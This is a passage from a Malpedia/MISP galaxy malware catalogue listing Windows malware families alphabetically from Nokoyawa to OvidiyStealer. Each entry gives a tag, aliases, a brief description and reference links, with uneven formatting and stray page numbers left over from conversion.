<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki">https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki</a></td>
</tr>
</tbody>
</table>

Nokoyawa Ransomware

The tag is: misp-galaxy:malpedia="Nokoyawa Ransomware"

Nokoyawa Ransomware is also known as:

Table 3699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa">https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa</a></td>
</tr>
</tbody>
</table>
NominatusToxicBattery

A wiper that overwrites target files with itself, thus spreading in virus-fashion.

The tag is: misp-galaxy:malpedia="NominatusToxicBattery"

NominatusToxicBattery is also known as:

Table 3700. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nominatus_toxic_battery">https://malpedia.caad.fkie.fraunhofer.de/details/win.nominatus_toxic_battery</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/1501473254787198977">https://twitter.com/struppigel/status/1501473254787198977</a></td>
</tr>
</tbody>
</table>

Nopyfy

Ransomware

The tag is: misp-galaxy:malpedia="Nopyfy"

Nopyfy is also known as:

Table 3701. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nopyfy">https://malpedia.caad.fkie.fraunhofer.de/details/win.nopyfy</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/index.php/say-no-to-nopyfy/">https://labs.k7computing.com/index.php/say-no-to-nopyfy/</a></td>
</tr>
</tbody>
</table>
**NorthStar**

An open source C2 framework intended for pentest and red teaming activities.

The tag is: `misp-galaxy:malpedia="NorthStar"`

NorthStar is also known as:

**Table 3702. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.northstar">https://malpedia.caad.fkie.fraunhofer.de/details/win.northstar</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping">https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping</a></td>
<td></td>
</tr>
</tbody>
</table>

**Nosu**

According to PCrisk, Nosu is the name of a malicious program classified as a stealer. This malware is designed to steal information from infected machines. The Nosu stealer can extract a wide variety of data from devices and installed applications. The most active campaigns associated with Nosu were noted in North and South America, as well as Southeast Asia.

The tag is: `misp-galaxy:malpedia="Nosu"`

Nosu is also known as:

**Table 3703. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu">https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu</a></td>
<td></td>
</tr>
</tbody>
</table>

**NoxPlayer**

The tag is: `misp-galaxy:malpedia="NoxPlayer"`

NoxPlayer is also known as:

**Table 3704. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer">https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/">https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/</a></td>
<td></td>
</tr>
</tbody>
</table>
**Nozelesn (Decryptor)**

The tag is: `misp-galaxy:malpedia="Nozelesn (Decryptor)"`

Nozelesn (Decryptor) is also known as:

*Table 3705. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**nRansom**

The tag is: `misp-galaxy:malpedia="nRansom"`

nRansom is also known as:

*Table 3706. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/">https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/910952333084971008">https://twitter.com/malwrhunterteam/status/910952333084971008</a></td>
</tr>
</tbody>
</table>

**NuggetPhantom**

NSFOCUS describes PhantomNugget as a modularized malware toolkit, that was spread using EternalBlue. Payloads included a RAT and a XMRig miner.

The tag is: `misp-galaxy:malpedia="NuggetPhantom"`

NuggetPhantom is also known as:

*Table 3707. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nugget_phantom">https://malpedia.caad.fkie.fraunhofer.de/details/win.nugget_phantom</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/">https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/</a></td>
</tr>
</tbody>
</table>

**Nullmischer**

Nullmischer is a dropper/loader for additional malware. It is known to drop a vast amount of
different malware, such as info stealers, rats and additional loaders. Samples observed contained up to 8 additional payloads.

The tag is: `misp-galaxy:malpedia="Nullmixer"`

Nullmixer is also known as:

### Table 3708. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer">https://malpedia.caad.fkie.fraunhofer.de/details/win.nullmixer</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=yLQfDk3dVmA">https://www.youtube.com/watch?v=yLQfDk3dVmA</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=v_K_zoPGpdk">https://www.youtube.com/watch?v=v_K_zoPGpdk</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1">https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=92jKJ_G_6ho">https://www.youtube.com/watch?v=92jKJ_G_6ho</a></td>
</tr>
</tbody>
</table>

## Numando

According to PCrisk, Numando is a banking trojan written in the Delphi programming language. As the malicious program's classification implies, it is designed to steal banking information. Numando primarily targets Brazil, with seldom campaigns occurring in Mexico and Spain.

The tag is: `misp-galaxy:malpedia="Numando"`

Numando is also known as:

### Table 3709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.numando">https://malpedia.caad.fkie.fraunhofer.de/details/win.numando</a></td>
</tr>
</tbody>
</table>

## NVISOSPIT

The tag is: `misp-galaxy:malpedia="NVISOSPIT"`

NVISOSPIT is also known as:

### Table 3710. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit">https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit</a></td>
</tr>
</tbody>
</table>
N-W0rm

The tag is: misp-galaxy:malpedia="N-W0rm"

N-W0rm is also known as:

- NWorm
- nw0rm

Table 3711. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm">https://malpedia.caad.fkie.fraunhofer.de/details/win.nworm</a></td>
</tr>
<tr>
<td><a href="https://bazaar.abuse.ch/browse/tag/N-W0rm/">https://bazaar.abuse.ch/browse/tag/N-W0rm/</a></td>
</tr>
<tr>
<td><a href="https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/">https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-1/</a></td>
</tr>
</tbody>
</table>

Nymaim

Nymaim is a trojan downloader. It downloads (and runs) other malware on affected systems and was one of the primary malware families hosted on Avalanche. Nymaim is different in that it displays a localized lockscreen while it downloads additional malware. Nymaim is usually delivered by exploit kits and malvertising.

The tag is: misp-galaxy:malpedia="Nymaim"

Nymaim is also known as:

- nymain

Table 3712. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim">https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/goznym-banking-malware-gang-busted/">https://www.sentinelone.com/blog/goznym-banking-malware-gang-busted/</a></td>
</tr>
<tr>
<td><a href="https://www.lawfareblog.com/what-point-these-nation-state-indictments">https://www.lawfareblog.com/what-point-these-nation-state-indictments</a></td>
</tr>
</tbody>
</table>
Nymaim2

The tag is: misp-galaxy:malpedia="Nymaim2"

Nymaim2 is also known as:

Table 3713. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2

Oblique RAT

The tag is: misp-galaxy:malpedia="Oblique RAT"

Oblique RAT is also known as:

Table 3714. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.oblique_rat
https://www.secrss.com/articles/24995
Obscene

The tag is: *misp-galaxy:malpedia=“Obscene”*

Obscene is also known as:

Table 3715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene">https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene</a></td>
</tr>
<tr>
<td><a href="https://habr.com/ru/post/27053/">https://habr.com/ru/post/27053/</a></td>
</tr>
</tbody>
</table>

ObserverStealer

The tag is: *misp-galaxy:malpedia=“ObserverStealer”*

ObserverStealer is also known as:

Table 3716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

1614
Oceansalt

The tag is: `misp-galaxy:malpedia="Oceansalt"`

Oceansalt is also known as:

**Table 3717. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt">https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt</a></td>
</tr>
</tbody>
</table>

Octopus (Windows)

The tag is: `misp-galaxy:malpedia="Octopus (Windows)"`

Octopus (Windows) is also known as:

**Table 3718. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus">https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw">https://mp.weixin.qq.com/s/v1gi0bW79Ta644Dqer4qkw</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf">https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/26918">https://isc.sans.edu/diary/26918</a></td>
</tr>
</tbody>
</table>

OddJob

The tag is: `misp-galaxy:malpedia="OddJob"`

OddJob is also known as:

**Table 3719. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob">https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob</a></td>
</tr>
</tbody>
</table>

Oderoor

Spam bot that was active around 2007 and after, one of the first malware families to use a domain
generation algorithm.

The tag is: misp-galaxy:malpedia="Oderoor"

Oderoor is also known as:

- Bobax
- Kraken

Table 3720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor</a></td>
</tr>
</tbody>
</table>

Odinaff

The tag is: misp-galaxy:malpedia="Odinaff"

Odinaff is also known as:

Table 3721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff">https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff</a></td>
</tr>
</tbody>
</table>

Okrum

a new, previously unknown backdoor that we named Okrum. The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors.

The tag is: misp-galaxy:malpedia="Okrum"

Okrum is also known as:

Table 3722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.okrum">https://malpedia.caad.fkie.fraunhofer.de/details/win.okrum</a></td>
</tr>
</tbody>
</table>
**OLDBAIT**

According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.

The tag is: *misp-galaxy:malpedia="OLDBAIT"*

OLDBAIT is also known as:

- Sasfis

**Table 3723. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait">https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secujuice.com/fancy-bear-review/">https://www.secujuice.com/fancy-bear-review/</a></td>
</tr>
</tbody>
</table>

**Olympic Destroyer**

Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.

The tag is: *misp-galaxy:malpedia="Olympic Destroyer"*

Olympic Destroyer is also known as:

- SOURGRAPE

**Table 3724. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer">https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer</a></td>
</tr>
<tr>
<td><a href="https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/">https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat">https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat</a></td>
</tr>
</tbody>
</table>
ONHAT

The tag is: misp-galaxy:malpedia="ONHAT"

ONHAT is also known as:

Table 3725. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat">https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlBWMsdvePFX68EKU/htmlview">https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlBWMsdvePFX68EKU/htmlview</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators">https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators</a></td>
</tr>
</tbody>
</table>
Oni

Ransomware.

The tag is: misp-galaxy:malpedia="Oni"

Oni is also known as:

Table 3726. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oni">https://malpedia.caad.fkie.fraunhofer.de/details/win.oni</a></td>
</tr>
</tbody>
</table>

OnionDuke

OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites.

The tag is: misp-galaxy:malpedia="OnionDuke"

OnionDuke is also known as:

Table 3727. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke">https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hemlock">https://www.secureworks.com/research/threat-profiles/iron-hemlock</a></td>
</tr>
<tr>
<td><a href="https://blog.f-secure.com/podcast-dukes-apt29/">https://blog.f-secure.com/podcast-dukes-apt29/</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2014/11/onionduke-samples.html">http://contagiodump.blogspot.com/2014/11/onionduke-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/">https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/</a></td>
</tr>
</tbody>
</table>

OnlinerSpambot

A spambot that has been observed being used for spreading Ursnif, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.

The tag is: misp-galaxy:malpedia="OnlinerSpambot"

OnlinerSpambot is also known as:

- Onliner
• SBot

**Table 3728. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner">https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner</a></td>
</tr>
<tr>
<td><a href="https://www.blueliv.com/blog/research/analysis-spam-distribution-botnet-onliner-spambot/">https://www.blueliv.com/blog/research/analysis-spam-distribution-botnet-onliner-spambot/</a></td>
</tr>
<tr>
<td><a href="https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html">https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html</a></td>
</tr>
</tbody>
</table>

### OopsIE

The tag is: `misp-galaxy:malpedia="OopsIE"`

OopsIE is also known as:

**Table 3729. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie">https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr">https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr</a></td>
</tr>
<tr>
<td><a href="https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/">https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/evasive-serpens/">https://unit42.paloaltonetworks.com/atoms/evasive-serpens/</a></td>
</tr>
<tr>
<td><a href="https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae">https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae</a></td>
</tr>
</tbody>
</table>

### Opachki

The tag is: `misp-galaxy:malpedia="Opachki"`

Opachki is also known as:

**Table 3730. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki">https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519">https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519</a></td>
</tr>
</tbody>
</table>
OpcJacker

The tag is: `misp-galaxy:malpedia="OpcJacker"`

OpcJacker is also known as:

Table 3731. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

OpenSUpdater

The tag is: `misp-galaxy:malpedia="OpenSUpdater"`

OpenSUpdater is also known as:

Table 3732. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

OpenCarrot

The tag is: `misp-galaxy:malpedia="OpenCarrot"`

OpenCarrot is also known as:

Table 3733. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

OpGhoul

This entry serves as a placeholder of malware observed during Operation Ghoul. The samples will likely be assigned to their respective families. Some families involved and identified were Alina POS (Katrina variant) and TreasureHunter POS.
OpGhoul is also known as:

Table 3734. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul">https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/">https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/</a></td>
</tr>
</tbody>
</table>

OpBlockBuster is also known as:

Table 3735. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster">https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster</a></td>
</tr>
</tbody>
</table>

ORANGEADE

FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.

ORANGEADE is also known as:

Table 3736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade">https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.

OrcaRAT is also known as:
### Orchard

A malware generating DGA domains seeded by the Bitcoin Genesis Block. This family has strong code overlap with win.victorygate.

The tag is: `misp-galaxy:malpedia="Orchard"`

Orchard is also known as:

- Antavmu

### Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

The tag is: `misp-galaxy:malpedia="Orcus RAT"`

Orcus RAT is also known as:

- Schnorchel
Ordinypt

This malware claims to be a ransomware, but it's actually a wiper. After execution, this malware terminates a number of processes such as database processes, likely to allow access to any files that these programs may have held open. Ordinypt will avoid wiping certain files and folders in order to prevent the infected machine from becoming unusable. Affected files are overwritten with null character and receive a random 5 character file extension. Finally, shadow copies are removed and Windows startup repair is disabled to complicate recovery of data from the affected system. The desktop background is changed and a ransom note is dropped for the victim. A C2 check-in occurs to keep track of the file extension used on that specific machine, as well as which BitCoin address was randomly provided for payment to the victim (drawn from a long list stored in the ransomware configuration).

The tag is: misp-galaxy:malpedia="Ordinypt"

Ordinypt is also known as:

- GermanWiper
- HSDFSDCrypt

Table 3740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt</a></td>
</tr>
<tr>
<td><a href="https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html">https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html</a></td>
</tr>
</tbody>
</table>
OriginLogger

The tag is: `misp-galaxy:malpedia="OriginLogger"`

OriginLogger is also known as:

Table 3741. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.originlogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.originlogger</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/originlogger/">https://unit42.paloaltonetworks.com/originlogger/</a></td>
</tr>
</tbody>
</table>

Oski Stealer

Oski is a stealer written in C++ that appeared around November 2019 and is being sold for between 70$ to 100$ on Russian-speaking forums. It collects different types of data (cryptocurrency wallets, saved passwords, files matching an attacker-defined pattern etc) and it exfiltrates it in a zip file uploaded to the attacker's panel.

The tag is: `misp-galaxy:malpedia="Oski Stealer"`

Oski Stealer is also known as:

Table 3742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oski">https://malpedia.caad.fkie.fraunhofer.de/details/win.oski</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468">https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/">https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/albertzsigovits/status/1160874557454131200">https://twitter.com/albertzsigovits/status/1160874557454131200</a></td>
</tr>
<tr>
<td><a href="https://3xp0rt.com/posts/mars-stealer">https://3xp0rt.com/posts/mars-stealer</a></td>
</tr>
</tbody>
</table>
Osno

The tag is: misp-galaxy:malpedia="Osno"

Osno is also known as:

- Babax

Table 3743. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.osno">https://malpedia.caad.fkie.fraunhofer.de/details/win.osno</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=21562">https://labs.k7computing.com/?p=21562</a></td>
</tr>
</tbody>
</table>

Ousaban

The tag is: misp-galaxy:malpedia="Ousaban"

Ousaban is also known as:

Table 3744. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban">https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/">https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services">https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services</a></td>
</tr>
<tr>
<td><a href="https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis">https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis</a></td>
</tr>
</tbody>
</table>

OutCrypt

Ransomware.

The tag is: misp-galaxy:malpedia="OutCrypt"

OutCrypt is also known as:

Table 3745. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>1626</td>
</tr>
</tbody>
</table>
Outlook Backdoor

The tag is: misp-galaxy:malpedia="Outlook Backdoor"

Outlook Backdoor is also known as:

- FACADE

Table 3746. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1085820673811992576">https://twitter.com/VK_Intel/status/1085820673811992576</a></td>
</tr>
</tbody>
</table>

OutSteel

According to MITRE, OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.

The tag is: misp-galaxy:malpedia="OutSteel"

OutSteel is also known as:

Table 3747. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.outsteel">https://malpedia.caad.fkie.fraunhofer.de/details/win.outsteel</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/download/6372/?uid=d3eb8e1489">https://www.telsy.com/download/6372/?uid=d3eb8e1489</a></td>
</tr>
</tbody>
</table>

Overlay RAT

The tag is: misp-galaxy:malpedia="Overlay RAT"

Overlay RAT is also known as:

Table 3748. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat</a></td>
</tr>
</tbody>
</table>
OvidiyStealer

The tag is: `misp-galaxy:malpedia="OvidiyStealer"`

OvidiyStealer is also known as:

Table 3749. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
